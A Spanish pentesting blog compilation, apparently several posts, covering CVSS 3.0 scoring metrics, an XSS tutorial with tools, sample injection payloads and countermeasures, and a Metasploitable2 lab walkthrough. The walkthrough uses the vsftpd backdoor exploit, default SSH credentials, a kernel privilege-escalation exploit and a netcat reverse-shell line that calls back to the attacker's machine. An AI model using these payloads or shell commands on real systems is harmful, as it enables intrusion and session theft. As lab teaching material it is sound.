CVSS 3.0 ¿Qué es y como calcularlo?

Hoy vamos a ver algo muy elemental para todos los pentester, pero que sin embargo los aficionados al hacking que nunca han hecho un informe, quizás no lo tengan tan claro, o incluso tal vez, ni han oído hablar de ello.

                             

Cuando se realiza una auditoria de seguridad (Pentest), en busca de vulnerabilidades / brechas de seguridad, en el análisis final y consiguiente informe, las vulnerabilidades encontradas en el sistema deben de ser presentadas al cliente (responsable del sistema auditado).
En este informe, además del nombre y clase de la vulnerabilidad, lugar donde se ha encontrado, prueba de concepto de la misma para la comprensión del cliente, etc., debe de concretarse el impacto de la misma sobre el sistema. En otras palabras, debe de decirse que tan peligrosa es esta vulnerabilidad y como afectará a nuestro sistema. Para ello han de tenerse en cuenta diversos factores, ya que ni todas las vulnerabilidades son igual de peligrosas, ni un mismo tipo de vulnerabilidad puede afectar a todos los sistemas por igual (aquí entran en juego otros elementos, como la infraestructura del sistema, las versiones de software / hardware utilizados, que el sistema sea más o menos accesible, etc.).

En un ejemplo fácil de entender a todos los públicos, si situamos como equivalente a un sistema, una vivienda común, una casa, no es lo mismo que este rota  y no cierre la puerta que comunica con la calle y da acceso a la vivienda, que esté rota y no cierre la puerta que da acceso a la cocina.
En este ejemplo, el tipo de vulnerabilidad en los dos casos sería la misma, una puerta rota, pero como se puede comprender con facilidad, el impacto que producen a la seguridad de la persona que vive en esta vivienda, no es el mismo. Aunque ambas puertas deben de repararse, solo una de ellas se consideraría CRITICA y debería de repararse lo antes posible, ya que expone a toda la vivienda al acceso de personas ajenas a la misma, a robos, etc.

Volviendo al mundo del pentesting, para ayudarnos a valorar las diferentes situaciones que pueden darse a la hora de valorar el impacto de las vulnerabilidades encontradas, surge un sistema de puntuación de vulnerabilidad común (CVSS).

Este sistema proporciona un marco abierto para comunicar las características y el impacto de las vulnerabilidades de TI. Su modelo cuantitativo garantiza una medición precisa y repetible al tiempo que permite a los usuarios ver las características de vulnerabilidad subyacentes que se utilizaron para generar las puntuaciones. Por lo tanto, CVSS es muy adecuado como un sistema de medición estándar para industrias, organizaciones y gobiernos, que necesitan puntuar el impacto de vulnerabilidades de forma precisa.

Dos usos comunes de CVSS son la priorización de las actividades de corrección de vulnerabilidades y el cálculo de la gravedad de las vulnerabilidades descubiertas en los sistemas. La National Vulnerability Database (NVD) proporciona puntajes CVSS para casi todas las vulnerabilidades conocidas.

¿Qué es lo que vamos a ver o tener que poner en un informe?

En el informe que se genera tras una auditoria nos encontraremos algo similar a lo que se muestra en la siguiente imagen, y en caso de que seamos nosotros los que generemos el informe, tendremos que reflejarlo de la siguiente manera, utilizando estas métricas, que son las correspondientes a CVSS versión 3.0:

Ahora vamos a pasar a conocer de manera técnica que significan estas métricas y como podemos interpretarlas.


Clasificaciones CVSS v3.0:


                     

                       

MÉTRICAS DE EXPLOTABILIDAD:

Definen las probabilidades que tiene una vulnerabilidad de ser explotada, a continuación, se enumeran las distintas métricas que forman parte de este grupo y sus posibles valores:

Símbolo	Descripción
AV	Vector de ataque Esta métrica determina cómo puede ser explotada esta vulnerabilidad, y mide los requisitos de accesibilidad tanto físicos como lógicos que se requieren para la explotación satisfactoria de la vulnerabilidad. Los valores de esta métrica son: ·        Network (N): Requiere visibilidad a nivel de red (capa 3). ·        Adjacent (A): Requiere visibilidad a nivel de enlace (capa 2). ·        Local (L): Requiere acceso previo no privilegiado. ·        Physical (P): Requiere acceso físico.
AC	Complejidad del Ataque Esta métrica determina la complejidad de ataque requerida para hacer uso de la vulnerabilidad. Los valores de esta métrica son: ·        Low (L): No se requieren condiciones o circunstancias especiales para explotar la vulnerabilidad. ·        High (H): El éxito de un ataque depende de que se cumplan ciertas condiciones o circunstancias. Por ejemplo, una vulnerabilidad que requiere el conocimiento previo de cierta información o configuraciones del sistema.
PR	Privilege required Esta métrica determina el nivel de privilegios que un atacante debe tener antes poder explotar se forma satisfactoria una vulnerabilidad. Los valores de esta métrica son: ·        None (N): El atacante no requiere de ningún tipo de privilegio para explotar la vulnerabilidad de forma satisfactoria. ·        Low (L): El atacante requiere de privilegios mínimos (por ejemplo, acceso con un usuario básico) para explotar la vulnerabilidad de forma satisfactoria. ·        High(H): El atacante requiere de privilegios elevados (por ejemplo, acceso con un usuario administrador) para explotar la vulnerabilidad de forma satisfactoria.
UI	User Interaction Esta métrica determina si es necesaria la intervención del usuario para la explotación satisfactoria de la vulnerabilidad. Los niveles de esta métrica son: ·        None (N): La vulnerabilidad puede explotarse si ser necesaria la iteración por parte del usuario. ·        Required (R): La explotación de la vulnerabilidad requiere que el usuario lleve a cabo determinadas acciones.

SCOPE: 

El Scope determina el alcance que tiene una vulnerabilidad y si su explotación puede afectar a otros recursos o componentes más allá del sistema o la aplicación que sufre la vulnerabilidad.

Símbolo

Descripción

S

Scope Esta métrica determina si la explotación satisfactoria de la vulnerabilidad puede afectar indirectamente a otros componentes fuera del alcance del sistema o aplicación con la vulnerabilidad. Los valores de esta métrica son los siguientes: ·        Unchanged (U): El componente vulnerable y el componente afectado por la explotación de la vulnerabilidad es el mismo. ·        Changed (C): El componente vulnerable y el componente afectado por la explotación de la vulnerabilidad son distintos.

MÉTRICAS DE IMPACTO: 

Las métricas de impacto determinan las consecuencias de la explotación de la vulnerabilidad, a continuación, se enumeran las distintas métricas que forman parte de este grupo y sus posibles valores.

Símbolo	Descripción
C	Impacto en la Confidencialidad La confidencialidad es la propiedad de un documento, mensaje o dato que únicamente está autorizado para ser leído o entendido por algunas personas o entidades. Los valores de esta métrica son los siguientes: ·        High (H): El compromiso de información confidencial (passwords, claves de cifrado, etc.) es total. ·        Low (Low): El compromiso de información confidencial es parcial (se obtiene cierta información, pero sin que el atacante tenga control sobre qué información puede obtener). ·        None (N): No hay pérdida de confidencialidad.
I	Impacto en la Integridad La integridad es la propiedad de un documento, mensaje o dato que garantiza la veracidad de la información. Los valores de esta métrica son los siguientes: ·        High (H): Hay una pérdida total de integridad. Por ejemplo, un atacante puede modificar ficheros o información valiosa. ·        Low (Low): Hay una pérdida parcial de integridad. Por ejemplo, un atacante puede modificar ficheros o información, pero sin tener el control sobre qué información puede modificar. ·        None (N): No hay pérdida de integridad.
A	Impacto en la Disponibilidad La disponibilidad es la propiedad de un sistema, servicio o aplicación que es accesible sin impedimentos. Los valores de esta métrica son los siguientes: ·        High (H): Hay una pérdida total de disponibilidad. Por ejemplo, un atacante puede denegar totalmente el acceso a un recurso por parte de usuarios legítimos. ·        Low (Low): Hay una pérdida parcial de disponibilidad. Por ejemplo, un atacante puede degradar el servicio, pero no llega a denegar totalmente el acceso al recurso por parte de los usuarios legítimos. ·        None (N): No hay pérdida de integridad.

REFERENCIAS

Uno de mis sitios favoritos, donde poder documentarse, generar nuestras pruebas y calcular los resultados correspondientes a nuestras propias auditorias, es en el NIST: https://nvd.nist.gov/vuln-metrics/cvss .

Aquí se puede utilizar su calculadora oficial, donde podemos de variar cada uno de los puntos correspondientes a la versión 3.0 de CVSS:

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

Entendiendo el Cross Site Scripting (XSS) - Parte 2/2

Después de introducirnos en el XSS en la entrada anterior, en entender como se produce, que tipos podemos encontrar y como tratar de evitarlo, en este artículo veremos diferentes tipos de inyección de XSS, herramientas que podemos utilizar y algunos link de referencia.

HERRAMIENTAS:

Dentro del mundo XSS, encontraremos diversas herramientas que ayudaran en diferentes funciones, ya sea desde la detección, hasta la explotación de las mismas. Ahora simplemente nombraré algunas de ellas, pero os animo a que tiréis de buscador y probéis otras diferentes opciones:

• Xenotix:

OWASP Xenotix XSS Exploit Framework es un marco avanzado de detección y explotación de vulnerabilidades Cross Site Scripting (XSS). Proporciona resultados de escaneo de cero falsos positivos con su exclusivo escáner integrado de Triple Browser Engine (Trident, WebKit y Gecko). Se afirma que tiene la segunda mayor carga útil XSS del mundo de más de 1500 cargas útiles XSS distintivas para la detección efectiva de vulnerabilidades XSS y el desvío WAF. Se incorpora con un módulo de recopilación de información rico en funciones para el reconocimiento de objetivos. El Exploit Framework incluye módulos de explotación XSS altamente ofensivos para pruebas de penetración y creación de prueba de concepto.

La encontramos para sistemas operativos Windows y como característica especial podemos afirmar que produce muy pocos falsos positivos.

Página oficial OWASP: https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework

https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework#owasp-xenotix-xss-exploit-framework

• BeEF:

Browser Exploitation Framework. Es una herramienta de prueba de penetración que se centra en el navegador web.
BeEF permite al pentester evaluar la seguridad real de un entorno objetivo mediante el uso de vectores de ataque del lado del cliente. 

http://beefproject.com

Podemos encontrar esta herramienta instalada por defecto en Kali Linux.

• BruteXSS:

BruteXSS es una herramienta muy potente y rápida, que se utiliza para forzar parámetros por medio de fuerza bruta. El BruteXSS inyecta múltiples cargas útiles que obtiene de una lista de palabras específica y las ejecuta sobre los parámetros indicados, escaneando si alguno de los parámetros es vulnerable a la vulnerabilidad XSS. 

1. Soporta peticiones GET y POST.
2. Fuerza bruta de parámetros XSS.
3. Escaneo vulnerabilidades XSS.
4. Se puede incluir una lista de palabras personalizada
5. Interfaz de usuario amigable.

https://github.com/shawarkhanethicalhacker/BruteXSS-1

• XSSer:

Cross Site "Scripter" es un marco automático para detectar, explotar y reportar vulnerabilidades XSS en aplicaciones basadas en la web.

1. Viene instalada por defecto en Kali Linux.
2. Soporta peticiones GET y POST.
3. Permite diferentes tipos de inyecciones (XST, XSS, XSA, XSR, DOM, DCP, Induced...).

https://sourceforge.net/projects/xsser/


EJEMPLOS DE INYECCIONES: 

Algunos de los ejemplos de inyección que se pueden realizar en una aplicación web vulnerable a XSS:

<script>alert('XSS');</script> (Alert)
<script>prompt('XSS')</script> (Para sacar un prompt)
<svg onload=prompt('XSS')> (Para sacar un prompt)
<script>alert(document.cookie)</script> (Para sacar cookie de sesión)
<script>alert(document.domain)</script> (Para sacar la IP de la WEB)

<script>for(;;)alert("bucle");</script> (Denegación de servicio)
<img src=foo.png onerror=alert(/XSS/) /> (Inyección en objeto IMG de HTML)
<BODY onload=alert("XSS")> (Inyectando objeto BODY de HTML)


REFERENCIAS: 

• Cross-site Scripting (XSS): https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
• XSS (Cross Site Scripting) Prevention Cheat Sheet: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
• DOM based XSS Prevention Cheat Sheet: https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
• Testing for Reflected Cross site scripting (OTG-INPVAL-001): https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
• Testing for Stored Cross site scripting (OTG-INPVAL-002): https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
• Testing for DOM-based Cross site scripting (OTG-CLIENT-001): https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
• DOM Based XSS: https://www.owasp.org/index.php/DOM_Based_XSS
• Cross-Site Scripting (XSS) Cheat Sheet | Veracode: https://www.veracode.com/security/xss

Entendiendo el Cross Site Scripting (XSS) - Parte 1/2

El XSS o “Cross-site Scripting”, es una de las vulnerabilidades que siempre se encuentran, en el TOP 10 de las más explotadas en cuanto a lo que aplicaciones web se refiere. *(Puesto número 3 en el TOP10 de OWASP).

Esta vulnerabilidad, permite a un atacante la ejecución de código del lado del cliente (navegador), siempre y cuando la aplicación web sea vulnerable a XSS.

A rasgos generales: se aprovecha de la validación incorrecta en los campos de entrada de datos de la aplicación (Ej: Formularios).

Permite la inyección de código JavaScript y similares, que además es interpretado por el servidor y por consiguiente, altera el normal funcionamiento de la aplicación.

En caso de que el ataque tenga éxito, permitirá a los atacantes robar contraseñas y otra información sensible, redirigir a los usuarios a web maliciosas, robar sesiones de usuario, suplantar identidad del usuario atacado, entre otras.

La explotación de un XSS puede causar: 

• Redirección a sitios no legítimos (páginas falsas), con la intención de engañar a la víctima.
• Secuestro de sesión de las cuentas de las víctimas, para escalar privilegios y acceder a los sistemas.
• Instalación de malware en el sistema victima.
• Ejecución de exploits en el servidor.
• Provocar un mal funcionamiento de los sistemas vulnerados.
• Denegación de Servicio (DoS).

Ejemplo básico de XSS:

XSS funciona debido a que no se validan los datos que se publican desde un campo de entrada, lo que provoca que en cualquier secuencia de comandos en el campo de entrada, con ciertas características pueda aprovechar dichas vulnerabilidades.

De esta manera, por ejemplo, un atacante podría acceder a una web vulnerable a XSS y a través de su formulario de contacto, podría preparar un ataque en el cual inyectara código en alguno de los campos de dicho formulario

Todo empieza, por ejemplo, con una página que permita insertar comentarios o contenido, por parte de los usuarios. Esto puede producirse en cualquier tipo de formulario, comentarios de contenido, etc.

Si en cualquiera de estos cuadros de texto, un atacante, en vez de introducir los datos que pida el formulario, introdujera: <script>alert('Comentario')</script>, (lenguaje en JavaScript) y al enviar saltara un pop-up, nos encontraríamos ante una aplicación vulnerable a XSS. 

Tipos de XSS:

Hay que tener en cuenta, que este tipo de vulnerabilidad puede ser darse de diferentes formas:

• XSS Reflejado.
• XSS Almacenado.
• XSS Basado en DOM.

A continuación, haré una breve explicación de cada una:

• XSS Reflejado: También conocido como indirecto o no persistente, es el más habitual de los XSS. Es temporal, ya que solo se ejecuta al enviar la petición una vez a nivel navegador. Bastante común en páginas web dinámicas y aplicaciones de correo. Las posibles consecuencias: Robo de cookies, secuestro de navegador, phising, cambio del contenido y estructura de la aplicación web, instalación de software malicioso en el sistema. 

• Almacenado: También conocido como directo o persistente, perdura en el servidor, ya que al ejecutarlo por primera vez se almacena en la base de datos de la aplicación web. Cada vez que se cargue la página web, se ejecutará nuevamente y se mostrará la inyección a los usuarios de la misma. Las posibles consecuencias: Además de las indicadas en el XSS Reflejado, captura de información de las aplicaciones, defacement de app, escaneo de puertos de las víctimas, ejecución de exploits, denegación de servicio. 

• Basado en DOM: Es un XSS local y persistente, que esta basado en modificar el entorno DOM* del navegador, debido a su mal uso. Este tipo de XSS se ejecuta del lado del cliente, afecta a páginas estáticas, siendo un ejemplo de elementos vulnerables: document.location / document.URL / etc. Las consecuencias son similares a las presentes en los XSS reflejado y almacenado. *(Para los que no estén al día sobre DOM, nos referimos al Modelo de Objetos del Documento (DOM), el cual es una interfaz de programación de aplicaciones (API) para documentos validos HTML. Define la estructura lógica de los documentos y el modo en que se accede y manipulan).

¿Como identificar XSS?:

Para identificar una vulnerabilidad de "cross site" en primera instancia, debemos de pensar en algunas de las causas que producen que esta vulnerabilidad este presente en una aplicación web, como son un mal filtrado de datos o no validación de entradas de datos en la aplicación (permite la introducción de todo tipo de valores, aunque no sea necesario).

Para ello, en apartados de la web destinados a la entrada de datos, como son formularios, paneles de acceso e identificación de usuarios, etc., se puede probar la introducción de comandos, como: <script>alert('XSS')</script>.

También se puede probar simplemente si la aplicación valida en estos campos de entrada, la introducción de caracteres especiales, como: /, < >, ".

Para asegurar del todo, que no se puedan ejecutar script en estos campos de entrada de datos, no deberían de permitirse la introducción de ciertos tipos de palabras, como: script, alert, src, etc.


¿Contramedidas?:

De la mano del punto anterior, vendrían las contramedidas y aspectos a tener en cuenta para evitar ser vulnerables a XSS, ya que los puntos que identifican un XSS son los que se deben evitar.
Para ello, se deben de tomar algunas como las siguientes medidas:

• Validación de datos (en todos los campos de entrada, tanto del lado del cliente como del servidor). Solo se permitirán valores esperados y adecuados a lo que se está pidiendo (formato, longitud, etc.). Por ejemplo, no tiene sentido que en un campo de un formulario, en el que se esta pidiendo el nombre o apellido de una persona, se puedan introducir números o caracteres.
• Sanitización de datos en los campos de entrada (Solo se permitirá texto plano, a nivel de que no se interprete o ejecute ningún tipo de comando).
• Creación de listas (blancas y negras) para restringir los datos esperados. De esta manera, palabras como "script", estarán totalmente prohibidas y no serán aceptadas.
• Evitar que el sistema ejecute código, al menos el proveniente de sitios concretos, como formularios. 
• Hacer que las cadenas de entrada de datos, se conviertan en alfanuméricas, al igual que los datos introducidos por los usuarios se conviertan a sus equivalentes en HTML.

Todas estas medidas pueden tomarse desde el lado del servidor.

Hasta ahora hemos hablado de las medidas a tomar desde el lado del servidor, a la hora de securizar la aplicación, si queremos mantenernos seguros si nos encontramos en el lado del usuario, algunas de las cosas que tenemos que observar son las siguientes:

• Como siempre y como una de las normas fundamentales en cuanto a mantener la seguridad al máximo se refiere, es primordial tener actualizado a la versión más actual todo el software del equipo: aplicaciones, sistema operativo, navegadores, etc.
• Ante todo ser conscientes de lo que hacemos y de como navegamos, ojo con enlaces sospechosos, urls acortadas, links que no sabemos donde nos redirigen, etc.
• Algo muy importante y que en una primera instancia no encontramos entre los consejos habituales, es que debemos de ser muy conscientes del estado de nuestro navegador, como lo tenemos configurado, etc. Por ejemplo, debemos de tener mucho cuidado con que complementos tenemos instalados y evitar o al menos controlar los que permitan la ejecución de scripts de manera automática.

• Aunque parece evidente, siempre hay que nombrar que tener una solución de seguridad instalada en el equipo, que evite la ejecución de malware, siempre será un punto a nuestro favor.

Metasploitable2 - Pentesting (Parte 1)

Siguiendo la línea de otras entradas, en las que hemos estado practicando con máquinas vulnerables nuestras habilidades técnicas, en cuanto a lo que a pentesting se refiere, hoy os traigo una de las clásicas y más utilizadas para este propósito: "Metasploitable2".

DESCARGA_: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Datos sobre la máquina:

Nos encontramos ante un sistema Linux, que está diseñado intencionalmente vulnerable, con el objetivo de que los profesionales del sector, puedan probar sus habilidades y las diversas herramientas de seguridad.

La máquina contiene muchas de las vulnerabilidades más conocidas y en este caso, muchas más que su predecesora.

Podemos ejecutarla a través de plataformas de virtualización, como: VMWare, VirtualBox.
Una vez abierta dentro de una de estas plataformas de virtualización, ya viene configurada de manera predeterminada.

En los documentos explicativos que encontraremos con la máquina a la hora de descargarla, se pueden encontrar las diferentes credenciales por defecto, entre ellas las de administrador (msfadmin/msfadmin).

Una vez descargada y arrancada, en alguna de las plataformas de virtualización indicadas (viene configurada por defecto), la máquina pasara a formar con su IP asignada mediante NAT, parte de la misma red que nuestra máquina atacante (Kali Linux).

Una vez localizada la IP que le ha sido asignada a Metasploitable2 ( para lo cual podemos utilizar por ejemplo, la herramienta Nmap en nuestro Kali, con el comando: # nmap -sn 192.168.xx.xx/24 ), empezamos haciendo un escaneo de puertos de la misma: nmap -sT -sV -O -v -p1-65535 192.168.x.x.

Como puede observarse, la cantidad de puertos abiertos es abrumadora. Y esa es la cuestión, ya que el objetivo es poder probar sobre cada uno de ellos diferentes técnicas y encontrar diversas vulnerabilidades.

PUERTO 21 (FTP):

Vamos a empezar por el primero de los puertos que encontramos abiertos, el FTP.

Podemos observar, que por el corre la versión de software: vsftpd 2.3.4

Buscando por Internet información asociada a esta versión, encontramos que es vulnerable y que tiene un “backdoor” (Encontrado en exploit-db).

Como puede observarse en la captura de pantalla de exploit-db, el exploit está asociado a la ejecución en Metasploit, por lo que pasaremos a utilizar dicha herramienta.

Ejecutamos Metasploit en nuestra máquina Kali Linux (# msfconsole) y hacemos una búsqueda del exploit para la versión de vsftp instalada en el servidor:
# search vsftpd 2.3.4

Cargamos el exploit # use exploit /unix/ftp/vsftpd_234_backdoor.

No hace falta Payload, ya que el exploit viene preparado directamente para atacar la “backdoor”.
Se mete la IP objetivo ( # set RHOST IP) y ejecutamos el exploit: # exploit

Como puede comprobarse en la captura, ahora ya somos root en la máquina.
A forma de prueba y como POC, de lo que podría pasar si un atacante se hace con el control, lazo el comando "reboot" desde la máquina atacante y Metasploitable2 es reiniciado.

PUERTO 22 (SSH):

Entre las tareas del auditor, deben de existir una serie de pautas o tareas a checkear automáticamente, aunque solo sea por la fuerza de la costumbre.
La mayoría de las veces, no encontraremos nada, pero otras nos llevaremos una sorpresa.
En este caso, probando credenciales por defecto de SSH:

Entramos utilizando usuario y contraseña “user”.

Accedemos con el usuario user, el cual no tiene privilegios, con lo cual tenemos que escalar para hacernos con un usuario administrador.

Encontramos, que el sistema operativo es una versión antigua de linux, por lo que con toda probabilidad tendrá exploits conocidos.

  Buscamos en Exploit-db:

https://www.exploit-db.com/exploits/8572

Descargamos el exploit y lo metemos en: /var/www/html

  Tenemos que subirlo a la máquina de Metasploitable2, a la que por otro lado ya estamos conectados. Para pasar el archivo lo haremos utilizando Apache.

  Una vez que tenemos el exploit descargado en la máquina atacante (Nuestro Kali) y apache arrancado, solo queda ir a la consola en la que estamos conectados con Metasploitable mediante SSH.
Aquí descargaremos el exploit mediante “wget”.

  Si seguimos las instrucciones ofrecidas por el exploit en la web en que lo hemos descargado, necesitamos saber el PID de la tarjeta de red.

  Vemos que tenemos en la ruta que nos indican: /proc/net/netlink

  PID: 2712
*(En mi caso en concreto, el PID puede cambiar en cada máquina en que realicemos la prueba).

Por otro lado, a parte de ser necesario saber el PID, para la ejecución del exploit, en la información adjunta del exploit, nos dicen que lo que se ejecutará con el lanzamiento de este, es el proceso /tmp/run:

Por lo tanto, para completar el exploit necesitamos un payload que conecte con la máquina atacante (nuestro Kali), a modo de escucha (netcat), y sacar una shell con usuario “root”.
Todo esto, estará ubicado en ../run que será el script que se ejecute.

En resumen, debemos de colocar una shell en ../run,  que conecte con la máquina atacante al ejecutar el exploit.

Creamos un archivo con el nombre “run” que contenga el comando para la shell.
Yo voy a usar uno en bash.

#!/bin/bash/bin/netcat -e /bin/bash IP_KALI puerto

Debemos colocarlo en la misma carpeta que esta el exploit, en la máquina de Metasploitable2.
Vamos a realizar el mismo proceso que seguimos con el exploit. Creamos el archivo en la máquina Kali y lo pasamos a Metasploitable a través de la conexión SSH.

En el payload indicamos la IP de la máquina atacante y el puerto que queramos, como podéis ver en el comando.

  Nos queda así:
#!/bin/bash/bin/netcat -e /bin/bash 192.168.77.147 4444

  Guardamos y lo pasamos a la máquina objetivo, mediante wget.

  Ahora, antes de ejecutar el exploit, ponemos en escucha la máquina atacante (KALI), en el mismo puerto indicado en el payload, en este caso 4444.

  *.Como me gusta también indicar los posibles errores que podemos cometer, o acciones que se nos pueden pasar por alto, ya que todos nos podemos despistar en algún momento...
1º - Como podéis observar no he compilado.
2º - Debería de estar en el directorio temporal /tmp

  Ahora si!!

Volvemos al último punto:

Ponemos en escucha netcat en la máquina atacante Kali.

Hecho esto, en la terminal en la que estamos conectados mediante ssh con Metasploitable, ejecutamos el exploit junto al PID (2712 en mi caso): ./8572 2712

  Como podéis observar en la captura, lo hemos conseguido, somos root.